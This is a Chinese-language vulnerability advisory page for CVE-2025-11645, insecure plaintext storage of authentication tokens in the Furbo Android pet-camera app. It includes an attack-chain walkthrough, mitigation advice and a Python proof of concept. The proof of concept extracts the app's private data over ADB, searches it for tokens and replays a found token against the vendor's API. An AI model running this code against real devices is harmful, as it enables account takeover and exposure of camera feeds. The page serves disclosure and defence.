IPBUF安全漏洞报告
English
CVE-2025-11645 CVSS 2.4 低危

CVE-2025-11645:Tomofun Furbo Android应用认证令牌不安全存储漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11645
漏洞类型
敏感信息不安全存储
CVSS评分
2.4 低危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo Mobile App (Android)

相关标签

CVE-2025-11645敏感信息泄露不安全存储认证令牌AndroidTomofunFurbo物理访问低危漏洞信息披露

漏洞概述

CVE-2025-11645是Tomofun Furbo Mobile App Android版本中存在的一个敏感信息不安全存储漏洞。该漏洞影响应用版本至7.57.0a(含),主要存在于应用的认证令牌处理组件(Authentication Token Handler)中。由于应用未能对认证令牌等敏感信息实施充分的加密保护或安全存储机制,导致攻击者可以在物理接触设备的情况下获取用户的认证凭据。该漏洞的CVSS 3.1评分为2.4分,属于低危级别。攻击向量为物理访问(AV:P),无需权限提升(PR:N),无需用户交互(UI:N),对机密性产生低影响(C:L),对完整性和可用性无影响。漏洞发现者已通过VulDB平台公开披露该漏洞,并指出在披露过程中曾联系Tomofun厂商,但厂商未作出任何回应,表明该漏洞目前尚未获得官方修复补丁。该漏洞的利用需要物理接触目标设备,因此其实际威胁范围相对有限,但在设备丢失、被盗或被他人短暂接触的场景下,用户的认证令牌可能被窃取,进而导致账户被未授权访问。

技术细节

该漏洞的核心问题在于Furbo Mobile App的Authentication Token Handler组件中,认证令牌(Authentication Token)以不安全的明文或弱加密形式存储在Android设备的本地存储中。在Android平台上,常见的应用私有数据存储位置包括SharedPreferences、SQLite数据库和内部文件存储等。当应用将认证令牌存储在这些位置而未使用Android Keystore系统进行硬件级加密保护时,攻击者可以通过以下方式获取令牌:1)通过ADB(Android Debug Bridge)在已获取设备物理访问权限后,使用`adb backup`命令导出应用数据;2)通过root权限直接访问应用的私有数据目录(/data/data/com.tomofun.furbo/);3)在设备未锁屏状态下,使用文件管理器或调试工具读取应用数据;4)通过设备镜像或取证工具提取存储介质中的认证信息。由于认证令牌是用户与Furbo云服务通信的关键凭据,一旦泄露,攻击者可以冒充合法用户与Furbo服务进行交互,获取用户的宠物监控视频、设备控制权限及相关个人信息。攻击的复杂度较低,不需要特殊的社会工程技巧,仅需物理接触设备即可实施。

攻击链分析

STEP 1
步骤1:获取设备物理访问权限
攻击者通过设备丢失、被盗、维修场景或短暂借用等途径获得Android设备的物理接触机会。这是整个攻击链的前置条件。
STEP 2
步骤2:启用USB调试或利用设备漏洞
攻击者尝试启用Android开发者选项中的USB调试功能,或利用设备已存在的调试接口,为后续数据提取做准备。
STEP 3
步骤3:提取应用私有数据
通过ADB备份命令(adb backup)、run-as命令或root权限访问Furbo应用的私有数据目录,获取存储在本地的认证令牌文件。
STEP 4
步骤4:解析认证令牌
在提取的应用数据(SharedPreferences、SQLite数据库或XML文件)中搜索明文存储的认证令牌,由于缺乏加密保护,攻击者可直接读取。
STEP 5
步骤5:未授权访问用户账户
利用获取的认证令牌冒充合法用户访问Furbo云服务,查看摄像头实时画面、历史录像、操控设备或获取用户隐私信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11645 PoC - Furbo Mobile App Insecure Token Storage # This PoC demonstrates how to extract authentication tokens from the Furbo Android app # Requires physical access to the target device import subprocess import os import re def extract_furbo_token(): """ Extract authentication token from Furbo Mobile App's insecure storage. The app stores authentication tokens in plaintext within its private data directory. """ # Step 1: Check if ADB is available and device is connected result = subprocess.run(['adb', 'devices'], capture_output=True, text=True) if 'device' not in result.stdout: print("No Android device connected via ADB") return None # Step 2: Attempt to backup the Furbo app data # Package name for Tomofun Furbo app package_name = "com.tomofun.furbo" backup_path = "/tmp/furbo_backup.ab" print(f"[*] Attempting to backup {package_name} data...") subprocess.run(['adb', 'backup', '-f', backup_path, package_name], capture_output=True) # Step 3: Extract backup contents if os.path.exists(backup_path): print("[*] Backup created. Extracting contents...") subprocess.run(['dd', f'if={backup_path}', 'ibs=24', 'skip=1', 'of=/tmp/furbo_backup.tar'], capture_output=True) subprocess.run(['tar', '-xf', '/tmp/furbo_backup.tar', '-C', '/tmp/furbo_extracted/'], capture_output=True) # Step 4: Search for authentication tokens in extracted data token_pattern = re.compile(r'(token|auth_token|access_token|jwt)"\s*:\s*"([^"]+)"') for root, dirs, files in os.walk('/tmp/furbo_extracted/'): for file in files: filepath = os.path.join(root, file) try: with open(filepath, 'r', errors='ignore') as f: content = f.read() matches = token_pattern.findall(content) if matches: for match in matches: print(f"[+] Found token in {filepath}: {match[1]}") return match[1] except Exception: pass # Alternative: Direct extraction via run-as (if debuggable) print("[*] Attempting direct extraction via run-as...") result = subprocess.run( ['adb', 'shell', 'run-as', package_name, 'find', '.', '-name', '*.xml', '-o', '-name', '*.db'], capture_output=True, text=True ) for filepath in result.stdout.strip().split('\n'): if filepath: full_path = f"/data/data/{package_name}/{filepath}" subprocess.run(['adb', 'shell', 'run-as', package_name, 'cat', full_path], capture_output=True, text=True) return None def use_extracted_token(token): """ Demonstrate using the extracted token to access Furbo API. """ import requests api_endpoint = "https://api.tomofun.com/v1/devices" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } response = requests.get(api_endpoint, headers=headers) if response.status_code == 200: print("[+] Successfully accessed Furbo API with extracted token!") print(response.json()) else: print(f"[-] Token may be expired or invalid. Status: {response.status_code}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11645 - Furbo Insecure Token Storage PoC") print("=" * 60) token = extract_furbo_token() if token: use_extracted_token(token) else: print("[-] Could not extract token. Ensure physical access to device.")

影响范围

Tomofun Furbo Mobile App <= 7.57.0a (Android)

防御指南

临时缓解措施
在官方修复补丁发布之前,建议用户采取以下临时缓解措施:1)为Android设备设置强密码、指纹或面部识别锁屏,防止他人物理访问设备;2)避免将手机交给他人使用或放置在无人看管的地方;3)定期在Furbo应用中查看活跃会话,注销可疑设备;4)如怀疑令牌已泄露,立即在Furbo应用中重置密码以使旧令牌失效;5)启用Android设备管理器(Find My Device),以便在设备丢失时远程擦除数据;6)避免在设备上启用USB调试功能,防止数据被ADB提取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表